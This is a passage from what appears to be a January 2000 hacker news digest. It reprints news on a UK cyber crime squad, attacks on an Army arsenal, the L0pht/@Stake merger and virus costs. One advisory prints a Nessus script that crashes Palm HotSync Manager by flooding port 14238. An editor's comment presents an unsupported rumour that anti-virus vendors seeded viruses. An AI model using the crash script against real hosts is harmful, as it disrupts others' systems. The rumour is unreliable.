verified bids had yet been received: "It takes at least 24 hours for the
approval process to be completed. In any case, I think it will take
people a little while to commit to that kind of purchase - if it was me,
I'd be having a chat with an accountant or two before I bid."
Million dollar bones
Even the reserve price may appear high but in 1997 a T. rex was bought
for $8.36m by the Field Museum in Chicago, US. The deal on this skeleton
does include delivery from its current home in a Kansas warehouse.
However, the bones are only partly exposed from the rock blocks in which
they were found.
The 65 million-year-old fossil was discovered on a South Dakota cattle
ranch in 1992. Owner Alan Detrich says he sees nothing wrong with
auctioning off a piece of the Earth's history.
After all, he said, he spent more than $250,000 of his own money
unearthing the dinosaur. And he will give 10% of the proceeds to the
owners of the cattle ranch where the rock-encased skeleton was found, he
says.
"This auction is open to the world. If we don't have the right to (sell
the fossil), then we don't live in America. If we didn't go there and get
him, he'd still be up there."
Mr Detrich added that he does not mind if his T. rex becomes a corporate
mascot or is sold to a private collector with no intention of displaying
it publicly.
Chuck Schaff, at the Museum of Comparative Zoology at Harvard University,
said the fossil would be ideal for drawing crowds to a museum, but was
probably too expensive for most.
"It's not unethical to sell it, it's just a shame it goes to the highest
bidder," Mr Schaff says. "Some specimens do get away from scientists, but
that's life. It's sad, though."
The auction, which began on Monday, is due to close at 0100 GMT on 11
February 2000.
@HWA
42.0 HNN: Jan 21: UK to create cyber force
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by deepquest
The UK National Criminal Intelligence Service (NCIS) has
been assigned £337,000 to draw up plans for
establishing a cyber crime squad. This online cyber force
will be used to combat online fraud, money laundering,
distributing pornography and information about
pedophilia, and electronic intrusions.
The Guardian Unlimited
http://www.newsunlimited.co.uk/uk_news/story/0,3604,123365,00.html
'Cyberforce' to fight
online crime
Monday January 17, 2000
A national "cyberforce" of computer
specialists is to be established by the
home office to police the internet and
combat a rising tide of online crime.
It was confirmed last night that the home
secretary, Jack Straw, has assigned
£337,000 to the UK National Criminal
Intelligence Service (NCIS) to draw up
plans for establishing a squad to counter
criminal activity on the web.
The move, which will target those using
computers for fraud, money laundering,
distributing pornography and information
about paedophilia, and hacking, follows a
three-year NCIS study of internet crime
which concluded that illegal activity on the
web, from email viruses to cyber-stalking,
is increasing as the wired population
grows.
Operation Trawler highlighted the
inadequacies of anti-computer crime
units, leading to calls for a dedicated
organisation.
The new unit is expected to include
experts in the private sector, the Inland
Revenue and police. It will also draw on
resources available through links with MI5
and GCHQ - the government agency that
eavesdrops on Britain and the world's
communications networks.
Roger Gaspar, the director of intelligence
at NCIS, and David Phillips, the chief
constable of Kent and head of the crime
committee at the Association of Chief
Police Officers are drawing up plans for
the unit, which will also make use of links
with American intelligence organisations
and the FBI. Barry McIntyre
@HWA
43.0 HNN: Jan 21: Army Holds Off Cyber Attack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by Evil Wench
System Administrators at Redstone Arsenal in Alabama
are proud that they withstood the Y2K onslaught of
cyber intruders. However, they go on to admit that in
the past three months Redstone has been hit with 17
denial of service attacks of which twelve succeeded,
and that they have had three web sites breached in the
last year. (The interesting part of this article is at the
end where the administrator admits that his network
has a single point of failure.)
Government Executive Magazine
http://www.govexec.com/dailyfed/0100/012100j1.htm
January 21, 2000
DAILY BRIEFING
Army outpost held off hackers
in New Year's showdown
By Joshua Dean
jdean@govexec.com
Shortly after dark on New Year's Day, the pager on the belt of
Steve Carey, chief of information assurance at the Army's
Redstone Arsenal in Alabama, went off. The message was
alarming: a hacker was trying to crack into a critical server that
keeps track of network identities and passwords at the arsenal.
When Carey got to the arsenal's network management center,
he found the system protections had withstood the attack and all
was well. But Carey and his staff couldn't rest. Attackers
continued trying to breach the arsenal's computers and its Web
sites as the new millennium dawned.
Some other government sites were spared attacks during the
New Year's holiday, even though they had braced for the worst.
But Redstone is a particularly attractive target for high-tech
bandits.
The arsenal has technical information on 14 of the Army's top 29
weapons systems, including missiles, helicopters and
conventional aircraft. It also handles about 63 percent of the
Army's foreign military sales. This means transfers of money as
well as weapons technology. "It's big bucks," said Col. Douglas
S. Brouillette, who heads the arsenal's Intelligence and Security
Directorate.
As a result, security experts in Redstone's Local Computer
Incident Response Team (LCIRT) are constantly vigilant and in
many ways ahead of other agencies when it comes to handling
network attacks. LCIRT uses a number of computer intrusion
detection systems. But even places such as Redstone, where
computer security is a high priority, can't get all the technology
resources they need. So instead of relying entirely on technology,
the arsenal depends on people to remain alert against attacks.
"We have a high level of monitoring because we don't have all
the firewalls we need installed yet. We hope the monitoring
compensates for that," Brouillette said. "Monitoring allows us to
detect, immediately react and fix attacks until we get all the
firewalls and other security products installed."
Redstone's basic defense is to find attacks quickly in order to
stop them as they happen, he said. Contract analysts from
Intergraph Federal Systems serve with Carey on his defense
team.
Redstone needs all the help it can get, because its networks are
peppered with attacks daily. "We've had hundreds of incidents in
the last three-month period," Brouillette said. "That's 3,000 to
4,000 scans of the network."
Hackers conduct scans to try to find out what hardware and
software are present on a given network. Scans can discover
computers or even modems with open links to the Internet.
Unknown hackers who appeared to be from countries including
Bulgaria, China, Hungary, Israel, Latvia, Lithuania, Macedonia,
Poland, Portugal, Romania and Russia have scanned Redstone
over the past three months. But because hackers can make it
look as if they were on a computer in a different country, pinning
them down geographically is an imperfect science.
Once the reconnoitering is complete, hackers try to exploit
vulnerabilities and gain access to private networks and the
information stored there. Without intrusion detection systems and
expertise, network staff may never know they've been hacked.
Beyond scanning and attempted break-in, hackers can cripple
networks and servers by launching "denial-of-service" attacks.
In such incidents, intruders launch a flood of messages to a
single server, overwhelming it. Denial of service attacks have
become so commonplace that they come with colorful names,
such as Ping Flood, SMURF, SYN Flood, UDP Bomb and
WinNuke.
Over the past three months Redstone has been hit with 17 denial
of service attacks. Twelve of them succeeded.
And then there are the vandals—Internet gang members armed
with digital spray paint—that LCIRT must contend with.
"Three of our Web sites have been breached in the past 12
months," Carey said. In the successful attacks, the methods
were new to the network defenders, which meant the attackers
were able to change the Web sites. Once LCIRT members
discovered how the hackers pulled off the attacks, they went
through every base Web server to make sure vulnerabilities
were fixed.
Because of past vigilance, the New Year's vandals failed to
make a dent. LCIRT members say new attacks and techniques
are constantly appearing, and the only way to stop them is to
have a team monitoring the network and the logs of the intrusion
detection systems.
That's how the arsenal's defenders knew the New Year's
hackers were aiming deliberately for one of Redstone's most
sensitive servers. "If you get into that server you can go
anywhere in the installation," Brouillette said, breathing a sigh of
relief now that 2000 is well under way and his servers are intact
@HWA
44.0 HHN: Jan 24: French smart card expert goes to trial
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by sian
An expert in smart card technology has been arrested
and faces up to seven years in jail, and a fine of
£500,000 after he designed a fake smart card that could
be used to defraud 'any cash terminal'. Serge Humpich
then offered the spoofed card to French banks in
exchange for £20 million. The banks accused him of
blackmail.
The UK Register
http://www.theregister.co.uk/000123-000005.html
(using some sucky html that fucks up c&p)
@HWA
45.0 HNN: Jan 24: Palm HotSync Manager is Vulnerable to DoS Attack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com/
contributed by kingpin
We don't usually cover individual security vulnerabilities
here at HNN but this one is interesting. The Palm
HotSync Manager is vulnerable to DoS attack which may
also crash the system and possibly allow the execution
of arbitrary code. Anyone who runs HotSync Manager
over the network is a potential target of attack.
Beyond-Security's SecuriTeam
http://www.securiteam.com/exploits/Palm_HotSync_Manager_is_vulnerable_to_Denial_of_Service_attack.html
Title Palm HotSync Manager is vulnerable to Denial of Service attack
Summary
HotSync Manager provides network synchronization between the Palm Desktop
and a remote Palm PDA that is connected via the Internet. This feature is
used to backup the information from the Palm PDA to a secure location.
However, using HotSync Manager over the network exposes it to an attack,
where anyone with network connection to the station running HotSync Manager
can crash the application and possibly execute arbitrary code.
Details
Vulnerable systems:
HotSync Manager 3.0.4 under Windows 98
Non vulnerable systems:
HotSync Manager 3.0.4 under Windows 2000
Exploit:
By connecting to the HotSync Manager's TCP listening port (TCP port 14238),
and sending a large amount of data followed by a newline, it is possible to
crash the HotSync Manager.
The following Nessus Plugin can be used to test this:
#
# This script was written by Noam Rathaus <noamr@securiteam.com>
#
# See the Nessus Scripts License for details
#
#
if(description)
{
name["english"] = "HotSync Manager Denial of Service attack";
script_name(english:name["english"]);
desc["english"] = "It is possible to cause HotSync Manager to crash by sending
a few bytes of garbage into its listening port TCP 14238.
Solution: Block those ports from outside communication
Risk factor : Low";
script_description(english:desc["english"]);
summary["english"] = "HotSync Manager Denial of Service attack";
script_summary(english:summary["english"]);
script_category(ACT_DENIAL);
script_copyright(english:"This script is Copyright (C) 1999 SecuriTeam");
family["english"] = "Windows";
script_family(english:family["english"]);
exit(0);
}
#
# The script code starts here
#
if (get_port_state(14238))
{
sock14238 = open_sock_tcp(14238);
if (sock14238)
{
data_raw = crap(4096) + string("\n");
send(socket:sock14238, data:data_raw);
close(sock14238);
sleep(5);
sock14238_sec = open_sock_tcp(14238);
if (sock14238_sec)
{
security_warning(port:14238, data:"HotSync Manager port is open.");
}
else
{
security_hole(port:14238);
}
}
}
Additional information
3Com's Palm computing team is aware of the problem and will fix this issue in
the next release of the HotSync Manager.
@HWA
46.0 HNN: Jan 24: Viruses Cost the World $12.1 Billion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HWA Comment:
I'll say this as a RUMOUR or MYTH in order to avoid possible libel charges
but it was a well known fact that certain (very well known and established)
Anti-Virus vendor(s) ran underground BBS's (dial up bulletin boards) in the
80's and later special backdoored FTP sites in the 90's for the purpose of
virus authors to upload new viruses to be deployed into the wild so that the
AV companies could capitalize on these new 'threats'....so when I read about
costs like this I really wonder how much was premeditated by the AV companies
themselves in order to make a buck from susceptible companies and people that
refused to practice safe computing....trust noone, except maybe AVP. You can
debate this if you like but I know it is fact, I was there and had access to
these sites. - (HWA Trusted source)
From HNN http://www.hackernews.com/
contributed by nvirb
According to a recent study conducted by Computer
Economics, a California based computer consulting firm,
the world spent $12.1 billion last year in a war against
malicious self replicating code. The $12.1 Billion figure is
based on lost productivity, network downtime and the
expense involved in getting rid of the virus. (Hmmmm,
that number seems ridiculously large.)
APB News
http://www.apbnews.com/newscenter/internetcrime/2000/01/20/virus0120_01.html
Computer Viruses Cost $12 Billion in
1999
Report Tallies Business Impact of 'Economic Terrorism'
Jan. 20, 2000
By David Noack
CARLSBAD, Calif. (APBnews.com) --
Businesses around the world spent $12.1
billion last year in a war against "economic
terrorism" in the form of malicious computer
viruses, according to a new study.
Computer Economics, a computer consulting
firm here, has found that the economic impact
of virus attacks on information systems around
the world are taking a heavy financial toll on
business.
For the most part, computer security concerns have focused on hackers
trying to gain entry into a company's computer system, rifling through files
and possibly stealing sensitive and confidential information.
But viruses, especially those delivered in e-mail, are giving corporate
information technology managers something new to worry about.
Lost productivity and downtime
Samir Bhavnani, the analyst with Computer
Economics who conducted the study, said the
$12.1 billion is based on lost productivity,
network downtime and the expense involved in
getting rid of the virus.
"This form of economic terrorism is growing as
viruses are no longer the minor annoyances that they were a few years
ago," Bhavnani said. "Now they can verge on the catastrophic and cause
major predicaments for any organization."
He said for the first six months of last year, financial losses caused by
computer viruses totaled $7.6 billion.
Bhavnani said that companies must devote time to teaching their
employees "prudent workstation use."
Delivery began to change
"Simple things like refraining from downloading
unnecessary and non-work-related items from
the Internet, opening executable files sent via
e-mail or frequenting pornographic Web sites
will increase the security level and reduce the
vulnerability of valuable corporate resources,"
Bhavnani said.
A survey conducted last year by Information
Security magazine asked information
technology managers where they experienced
the most security breaches. Seventy-seven
percent said computer viruses were the No. 1
problem, followed by unauthorized access by
employees and hackers and the theft and destruction of computing
resources.
Last year, a series of malicious viruses clogged e-mail networks, crashed
computers and erased hard drives.
The way that viruses are delivered began to change. The "Bubbleboy" virus
was activated when unsuspecting users opened an infected e-mail. In the
past, computer viruses were spread through attachments, and e-mail was
generally regarded as safe.
'High-profile damage'
With computer virus alerts coming sometimes on a daily basis, security
experts say that businesses are still not taking virus prevention seriously.
"Despite all of the high-profile damage caused by viruses, organizations are
still just beginning to implement adequate security plans," said Michael
Erbschloe, vice president of research at Computer Economics.
"Additionally, many firms are reluctant to report damages because they
feel they may be identified as an easy target."
The study says that in the past three years there has been a major
programming shift as viruses have become far more malicious and are
designed specifically for destruction and damage.
The study said that computer viruses were initially designed to create a
minor annoyance. Now they are very complex and come in a multitude of
forms, and many are polymorphic, which means they change while in a
computer to avoid detection from anti-virus software.
Melissa and Explorer encouraged copycats
"The Melissa and Explorer.zip viruses acted as a catalyst in 1999," said
Erbschloe. "Organizations started to realize the severity and the malicious
intent of most new computer viruses and began to take the cries for
increased security spending more seriously."
Steven Ross, a director at Deloitte & Touche's Enterprise Risk Services
Practices, said computer viruses are having a noticeable impact on
companies.
"The first wave of viruses 10 years ago attacked at the operating system
level. The ones we see today are attacking at the application level. The
filters that come into play when you boot up aren't necessarily capturing
the things that are happening at the application level," said Ross.
He said there may only be a handful of smart computer writers, and that
there are hundreds and thousands so-called script kiddies who when
taught to program a virus can do so without much effort.
Writers rely on 'general complacency'
"There is also a general complacency. ... They are absolutely counting on
it," said Ross.
He cited an example of removing 7,500 viruses from a number of servers for
a company. When he returned the next week, there were 1,500 more
viruses.
Dan Schrader, vice president of new technology at Trend Micro, an
anti-virus software company in Silicon Valley, said the $12.1 billion figure is
"conceivable," and "I am not at all surprised by that number."
"If you want to label what the year [1999] was in technology, the first label
would be the year of the IPO, and the second label would be the year of the
computer virus. There were more serious computer virus outbreaks in any
one month of last year than we've had virtually in the entire history of
computing," said Schrader.
He said there was "tremendous innovation" among computer virus writers,
and for the first time the virus writers got it that it's "all about the Internet."
"There is lost data, lost productivity while you wait for the tech guy to come
around, and then there's the e-mail systems being shut down," Schrader
said. "One of the more common ways for companies to respond to news of
a new virus outbreak is to do a pre-emptive shutdown of their e-mail
system. ... It's the main way that computer viruses are spread."
David Noack is an APBnews.com staff writer (david.noack@apbnews.com)
@HWA
47.0 HNN: Jan 24: L0pht and @Stake Create Controversy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Someone gets a grant or has a merger with a commercial company and
suddenly they have "SOLD OUT" become "NARQS" or the like, pure BS
The l0pht is long overdue its break in the security field, so just
chill and let them do their thang, you're just jealous you ain't got
what it takes to make the grade yourself. - Ed
From HNN http://www.hackernews.com/
contributed by Weld Pond
The recent merger of the hacker think tank L0pht Heavy
Industries with security services company @Stake has
created an immense buzz within the industry.
Unfortunately some journalists (well one actually) don't
seem to get it and have published some potentially
libelous comments regarding the merger.
ZD Net
http://www.zdnet.com/pcweek/stories/news/0,4153,2420340,00.html
Other writers seem to have more legitimate concerns
but it still obvious that they have not done their
research.
ZD Net
http://www.zdnet.com/pcweek/stories/columns/0,4351,2421254,00.html
And still others actually seem to understand.
Boston Herald
http://www.bostonherald.com/bostonherald/life/net01182000.htm
CNN
http://cnn.com/TRANSCRIPTS/0001/22/stc.00.html
ABC News
http://abcnews.go.com/onair/dailynews/wkn_000122_netsecurity.html
ZDNet #1;
--------------------------------------------------------------
This story was printed from PC Week,
located at http://www.zdnet.com/pcweek.
--------------------------------------------------------------
It gets really scary when hackers join security firms
By John Taschek, PC Week
January 16, 2000 9:00 PM PT
URL:
It's shaping up to be an interesting year, which in some cultures is not necessarily a good thing. First,
Lotus President Jeff Papows resigns, though I'm not sure I believe anything from Papows anymore.
Then Steve Jobs takes full control over at Apple, which will, of course, trigger a huge sell-off at
Apple because, as everyone knows, Jobs works best when he's a front-seat driver with a back-seat
title. Then China reportedly bans Windows 2000, presumably so that the country could develop an
indigenous operating system based on Linux. (The Chinese government denied the report.)
But by far the oddest thing to happen is that the hackers (or, as the fundamentalist technologists say,
crackers) who went by the name L0pht Heavy Industries have now become full-scale security
consultants. Does this bode ill for the nation's security, or what? Is everyone off their rocker?
I can't believe what I'm reading. I also can't believe I'm writing about it, since dealing with people
who have exhibited criminal tendencies is not a business I want to be in.
L0pht was a highly publicized group of hackers who started out cracking security systems and then,
somewhere along the line, became somewhat legitimate because they began to document what they
were doing on the L0pht.com Web site. L0pht also develops software that allows users to crack
operating system passwords in a matter of hours.
To get an idea how strange it is for a security firm to hire L0pht personnel, you only need to look at
the Attrition.org Web site, which highlights L0pht. Attrition's motto is, "We're easy to get along with
once you learn to worship us." More damning is that L0pht has also gone on record as saying that
"governments and multinational corporations are detrimental to the personal liberties on the Internet."
On the other hand, L0pht's new company, called @Stake, is a specialized professional services
company that will provide a full range of security solutions for the e-commerce operations of global
clients.
This is clearly an example of the farmer giving the fox the key to the chicken coop. I can't imagine
that any legitimate startup would actually seek out L0pht. But that's exactly what has happened, as
executives from Forrester Research, Cambridge Technology Partners and Compaq formed @Stake
specifically to provide security services to its clients. Lo and behold, the vice president of R&D at
@Stake is none other than Professor Mudge, the chief scientist at L0pht. I can just imagine Mudge
hacking and cracking to his heart's content, simply to find weaknesses at those multinational
companies, which then would become @Stake's new customers.
Of course, the tired old argument is that L0pht performs a service by detailing flaws in systems so
that companies can boost their defenses against a real, and more threatening, hacker. Hogwash,
poppycock and every other early-20th-century declarative. L0pht comprised many extremely bright
and talented people, and Mudge might have been the smartest of the bunch. But L0pht's history
shows that the group is not ethical, maintained practices that bordered on being illegal and is simply
downright scary. I wouldn't want any organization that hired the brain trust of L0pht as my security
consultant.
See @Stake's response to John Taschek's column.
Is it better to join them if you can't beat them? Write me at john_taschek@zd.com.
I encourage you to DO write him and respond to this article but do so politely, expletives and leet
talk will just make us look worse and prove his point. - Ed
-=-
ZDNet #2
--------------------------------------------------------------
This story was printed from PC Week,
located at http://www.zdnet.com/pcweek.
--------------------------------------------------------------
L0pht-@Stake pact: Going legit, selling out or both?
By Michael Caton, PC Week
January 16, 2000 9:00 PM PT
URL: http://www.zdnet.com/pcweek/stories/columns/0,4351,2421254,00.html
What bothers me the most about security specialist L0pht Heavy Industries becoming part of
@Stake isn't the idea of hiring hackers. It's the idea that L0pht's great, free public service is now
very much for hire.
The trend in the industry has been to give away, or at least subsidize with advertising, some
beneficial IT resources. I can think of at least a half-dozen free IT help sites that eventually hope to
make money through advertising or e-commerce. Access to security information is moving in the
other direction, however, entirely because there is so much demand and so few security experts.
L0pht has been a thorn in the side of many vendors; a quick look at its Web page, reveals a great
tweak of Microsoft. L0pht has been known to really embarrass vendors that have not moved quickly
enough to address the security holes the group finds. Access to most of the information has been
free—or, according to the L0pht site, "so that system administrators, users, and software and
hardware vendors may benefit from our knowledge, we share some of it with you."
In the past, "some" could have meant that L0pht held information back to protect us all from the less
scrupulous, but now it could be held back to help @Stake maintain a competitive advantage when
consulting. Talk about unscrupulous.
What will be as interesting will be to see how this security-for-hire model plays out when it comes to
companies such as @Stake maintaining a competitive advantage. By going fully legit and for-profit,
this could compromise relationships with hacking sources. When a security expert or hacker finds a
new exploit, is the rush going to be to share it with anyone? Not if someone else is going to make
money off it or hold it as confidential information to have a competitive advantage.
Perhaps image and rhetoric can maintain enough good will to keep sources alive, although I'm not so
sure an anarchist's mantra will convince too many people when a company's analysts bill out in the
tens of thousands of dollars per week.
In an industry where the nondisclosure agreement is as important as the business contract, I wonder
just how well the hacking community will disclose security holes it finds when under contract to
vendors. Let's face it: IT consulting companies aren't the only ones hiring hackers. Security skills can
be as useful for product development as for product deployment.
Hopefully, as @Stake contracts out to vendors, it has an escape clause that allows it to disclose
security flaws after a certain number of business days, just to keep the vendors honest. While it is
possible that L0pht will survive in spirit, the @Stake Web site, has all the polish of the best
up-and-coming dot-com company looking to strike gold. Retaining the anti-establishment spirit would
certainly keep it in the good graces of its sources.
Do you think good security info will be held hostage to profits in the future? Write me at
michael_caton@zd.com.
-=-
Boston Herald;
Cutting to the chase: Hackers join forces with security
firm to keep the world safe
Net Life/Stephanie Schorow
Tuesday, January 18, 2000
Which is a more revealing story? That in December a hacker calling
himself Maxim broke into a server at an on-line CD store and obtained
thousands of credit card numbers?
Or that when Maxim posted those numbers on a Web site from which
visitors could get them, one at a time, thousands reportedly did so?
Must we beware the hacker in the machine - or the hacker next door?
First, a look at the word ``hacker'' - it's not a synonym for
``criminal,'' just as not every locksmith is a burglar, as one hacker
told me. A hacker cracks software codes to get into a company's
network or Web page for the thrill of beating the system, not
necessarily to cause mischief. But the movie ``War Games''
transformed a bit of MIT slang for a guy who likes to create
computers into a term for someone who wants to destroy them.
In popular culture, the Evil Genius Hacker has joined the Mad Scientist
and Meglomaniac Who Wants to Rule the World as a standard
stereotype. Fox Mulder of TV's ``The X-Files'' could not chase his
aliens without illegal hacking help from the so-ugly-they're-cute Lone
Gunmen, Good Guy Hackers. Hackers get a total makeover into
leather-coated chic in ``The Matrix.''
But such stereotypes don't hold up in real life. The most recent Def
Con - the hackers' annual meet-and-defeat confab, had, according to
one on-line report, ``all the corporate professionalism of a computer
mainstream industry.'' Activists, calling themselves ``white hat
hackers,'' have formed a group dedicated to hacking into and shutting
down kiddie-porn sites.
And just two weeks ago, the famed Boston-area hacker collective -
known as the LOpht - announced its merger with a start-up security
company, @Stake. With founders hailing from Compaq and Forrester
Research, plus $10 million in venture capital, @Stake is pure pinstripe.
At LOpht, geek rules.
The news intrigued me. For years, I'd heard about LOpht's expertise,
its Web postings of key security flaws in Windows-based systems,
about its outlaws-in-good-standing image with the so-called black
hat hacker underground, and about their gizmo- and
Cheez-Its-clogged warehouse. Going by hacker handles of Mudge,
Dildog and Space Rogue, they've testified on lax computer security
before the U.S. Senate. They embodied Bob Dylan's phrase: ``to live
outside the law, you must be honest.''
When the hacker who goes only by ``Mudge'' returned my call, his
voice was more lighthearted than mysterious. For a guy who
supposedly has the ability to take down the Internet in 30 minutes,
he was cheerfully patient with a fumbling reporter's Hacking 101
questions.
What enticed LOpht to come in from the cold? Well, money, for one
thing; ``we'd been looking around for various way to get the LOpht
to fund itself,'' said Mudge. With @Stake's pledge not to market any
specific security product, take kickbacks from vendors or interfere
with LOpht's continued posting of security flaws, LOpht will be able to
remain the hacker's Consumer Reports, Mudge said.
LOpht's independence is invaluable to @Stake, said Ted Julian,
@Stake founder and vice president of marketing: ``There's an
enormous demand in the marketplace for these people.''
That's because computer security itself is transforming. As Mudge
said, ``We know how to make a closed system.'' Put up a fire wall
and keep people out. But with burgeoning e-commerce, systems have
to remain open enough to allow consumers access to key information.
Users, for example, might want to search inventories or track a
delivery. Yes, Mudge asserted, ``you absolutely can'' secure such
systems. You just need the right tools. Attorney General Janet Reno's
recent call for a national anti-cybercrime network underscores the
need for enhanced security.
Hacking is changing, too. Once the domain of code-writing
uber-nerds, it's been invaded by so-called script kiddies, young
neophytes who attack with a point and click. ``The media actually
encourages them,'' Mudge said, disgustedly. ``If you read about
someone breaking into a high profile Web page, it's `a 16-year-old,
brilliant misguided kid.' If a 16-year-old walked into a liquor store,
shot the clerk to get the money, they never say, a `brilliant juvenile
expert in spontaneous combustion.' ''
For me, the most telling aspect of the Maxim hack was that
afterwards no one I knew - even those who blew big bucks shopping
the dotcoms - seemed spooked about e-shopping. Perhaps we've
accepted a certain level of e-commerce risk. Consider: thousands of
traffic accidents occur daily, but we wouldn't ban driving. We just
want to keep the 16-year-old drivers under control. And we want
safer roads. Which makes me glad that the LOpht is still out there.
-=-
CNN;
Science and Technology Week
Pentagon Goes Ballistic With New Defense Tests; Group of
Hackers Goes Corporate; Winds of Change Stir Up New
Developments in Weather
Aired January 22, 2000 - 1:30 p.m. ET
THIS IS A RUSH TRANSCRIPT. THIS COPY MAY NOT BE IN ITS
FINAL FORM AND MAY BE UPDATED.
RICK LOCKRIDGE, GUEST HOST: The Pentagon goes ballistic with new
defense tests, a secretive group of computer hackers goes corporate, and the
winds of change stir up new developments in weather. Those stories and more
are just ahead on SCIENCE & TECHNOLOGY WEEK.
Hello and welcome. I'm Rick Lockridge in for Ann Kellan.
A test of a new high-tech U.S. defense system ended in failure this past
week. A prototype Interceptor, designed to knock out approaching missiles,
apparently sailed right past its target. Pentagon experts think they've figured
out what went wrong.
But as Jamie McIntyre reports, the failure is raising questions about the whole
program.
(BEGIN VIDEOTAPE)
JAMIE MCINTYRE, CNN MILITARY AFFAIRS CORRESPONDENT
(voice-over): From the launch of a target missile at night in California through
the launch of an Interceptor from a sunny Pacific island, Pentagon rocket
scientists thought they were looking at a slam dunk. Everything was tracking
perfectly. But as they counted down to an expected mid-space collision,
nothing, no flash: nothing but black space. They missed.
In reconstructing the failure, Pentagon officials say they believe heat sensors
the Interceptor uses to find the warm warhead failed in the crucial final six
seconds. Why they don't yet know.
It was a bitter disappointment after October's successful maiden test, but the
Clinton administration vowed to press on, insisting some misses were
inevitable.
JOE LOCKHART, WHITE HOUSE PRESS SECRETARY: Obviously, if
this were easy technology, they wouldn't have to test. They'd just go ahead
and deploy.
MCINTYRE: The $100 million test was the second of 19 planned tests of a
system designed to protect the United States from a limited missile attack by a
rogue nation. But only one more test is planned in the spring before the
Pentagon recommends whether to invest billions more for deployment of the
system by 2005.
Critics insist the failure is a wake-up call that the complex missile shield is not
ready for primetime.
TOM COLLINA, UNION OF CONCERNED SCIENTISTS: I would say it's
just another piece of evidence that's showing that you can't make a decision
this summer, that the system's moving too fast.
MCINTYRE (on camera): The Pentagon, stung by criticism that it may have
overstated its previous success, went to great lengths this time to explain
exactly what went wrong. And while insisting it can solve the technical
problems, a senior military official admitted the test schedule may be overly
ambitious.
Jamie McIntyre, CNN, the Pentagon.
(END VIDEOTAPE)
LOCKRIDGE: NASA made it official this week. The Mars Polar Lander is
dead. The spacecraft was designed to study the Martian atmosphere and dig
up soil samples. It was due to land on Mars on December 3. But just before it
entered the Martian atmosphere, it stopped sending data back to Earth, and it
hasn't been heard from since. One final attempt to contact it this past week
met with silence. Scientists say the Polar Lander may have burned up as it
descended, or it may have crashed on mars, but they'll probably never know
for sure. Two panels investigating the failure are due to report in March.
Coming up later in the show: dolphins stranded in the shallows, and the rescue
effort that helped turn things around. But first, some underground computer
hackers surface to show what's at stake when you're online.
(COMMERCIAL BREAK)
LOCKRIDGE: A mysterious hacker group that's legendary in some Internet
circles is going mainstream. The Boston-based group, called Lopht, is starting
a company to advise big business on computer security.
Our reporter Ann Kellan has known members of Lopht for two years now,
and wonders how if the new corporate ties will change their lofty goals.
(BEGIN VIDEOTAPE)
"MUDGE", LOPHT MEMBER: We decided Lopht is now going to
completely sellout, and we are going to join the mainstream.
ANN KELLAN, CNN CORRESPONDENT: He gives keynote speeches to
packed houses...
"MUDGE": If you're looking for computer security, then the Internet is not the
place to be.
KELLAN: ... is invited, along with fellow group members, to testify before the
U.S. Senate. He's a trained musician, and plays a mean guitar. He goes by the
handle "Mudge," won't reveal his name, rank or Social Security number...
"MUDGE": I don't worry have to worry about, you know, who's waiting
outside of my house when I leave in the morning.
KELLAN: ... and has been a member of a band of computer hackers called
Lopht since 1992.
UNIDENTIFIED MALE: Seven people, close quarters, on top of each other
-- it's amazing that we get can actually get along without being at each others'
throats.
KELLAN: Headquarted in a secret warehouse near Boston, the Lopht is filled
with hand-me-down equipment. Even the bathroom is wired.
"WELD POND," LOPHT MEMBER: Here's our bathroom. Normally, a
bathroom wouldn't be very exciting, but our bathroom has a Web browser.
KELLAN: There are processors and networks, from Novell to Microsoft.
UNIDENTIFIED MALE: We got it from dumpsters. We got it as, you know,
people give equipment to us.
KELLAN: And once they own it, they legally attack it, learning how each
system works, inside and out.
"WELD POND": We don't just attack Microsoft, no matter what, you know,
Microsoft might say.
KELLAN: Each member has area of expertise. "Weld Pond," programmer
and Web guru. "Brian Oblivion" knows networks. "Silicosis (ph)" deciphers
network codes. "Space Rogue" knows the inner workings of Macintosh
computers. He also publishes a daily hacker newsletter on the Web.
"SPACE ROGUE," LOPHT MEMBER: There a lot of things that go on that
affect the hacker culture and the people that are in the hacker community that
don't really get reported in the mainstream.
KELLAN: "Kingpin" is a hardware expert, started hacking when he was 7,
not always legally. He says Lopht helped set him straight.
"KINGPIN," LOPHT MEMBER: I got into trouble for some things when I
was younger, and they basically took me under their wing. They must have
thought I had some good in me.
UNIDENTIFIED MALE: Still do; we're just still trying to find it.
KELLAN: "Dill Dog" is an ace programmer. Before joining Lopht, he made
headlines in another hacker group, developing software that let's people
access computers from remote locations, for good or for bad. It ticked off the
likes of Microsoft, but if a system is vulnerable, Lopht's philosophy is to go
public with it.
"MUDGE": If you don't bring it public and if you just hand information off to
the offending company, they just want to bury it, because it's cheaper for them
to do that.
KELLAN: Considered by many the consumer advocates of the computer
world.
"KINGPIN": We know the computer industry is here to stay, and we want to
make security better. We want to make the industry better.
KELLAN: In the hacker world, blue hairs mingle with crew cuts and criminals
with feds, the cops and robbers attend the same conventions, to learn from
each other -- where computer vulnerabilities are, where thieves can break in
and steel everything, from bank accounts to medical records.
KELLAN (on camera): How vulnerable are all the systems out there?
(LAUGHTER)
UNIDENTIFIED MALE: Toys can be hacked.
KELLAN (voice-over): The Lopht has been an exclusive hacker playground.
And now this band of hackers is going corporate, moving to white-walled
offices money, getting money to buy new equipment, a place where they can
do more good, says "Mudge."
As far as their old stomping grounds...
"MUDGE": The luxurious labs will still exist there for sometime, I'm sure,
but...
UNIDENTIFIED MALE: We still can't tell you where you it is.
"MUDGE": Even the Lopht folks are sitting there going, we love this place, but
boy, we can make something so much better.
KELLAN: The move is good, and he'll stay casual and keep his personal life
private, he says. But will success change Lopht's goals?
UNIDENTIFIED MALE: One thing we always said about Lopht, if it stops
being fun, then it's not Lopht, then it's work.
"KINGPIN": It's just so wonderful to figure out how the world works around
you, and especially when it doesn't.
UNIDENTIFIED MALE: It is a family, that's what it is.
